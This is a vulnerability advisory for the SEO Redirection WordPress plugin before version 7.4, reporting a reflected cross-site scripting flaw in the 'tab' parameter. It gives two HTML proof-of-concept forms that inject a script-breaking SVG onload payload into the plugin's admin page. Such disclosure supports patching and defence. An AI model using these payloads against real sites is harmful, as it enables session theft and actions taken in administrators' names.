SEO Redirection < 7.4 – Reflected Cross-Site Scripting

Description

The plugin does not escape the tab parameter before outputting it back in JavaScript code, leading to a Reflected Cross-Site Scripting issue

Proof of Concept

<html>
  <body>
    <form action="https://example.com/wp-admin/options-general.php?page=seo-redirection.php&tab=cutom" method="POST">
      <input type="hidden" name="tab" value="</script><svg/onload=alert(/XSS/)>" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>


<html>
  <body>
    <form action="https://example.com/wp-admin/options-general.php?page=seo-redirection.php&tab=posts" method="POST">
      <input type="hidden" name="tab" value="</script><svg/onload=alert(/XSS/)>" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>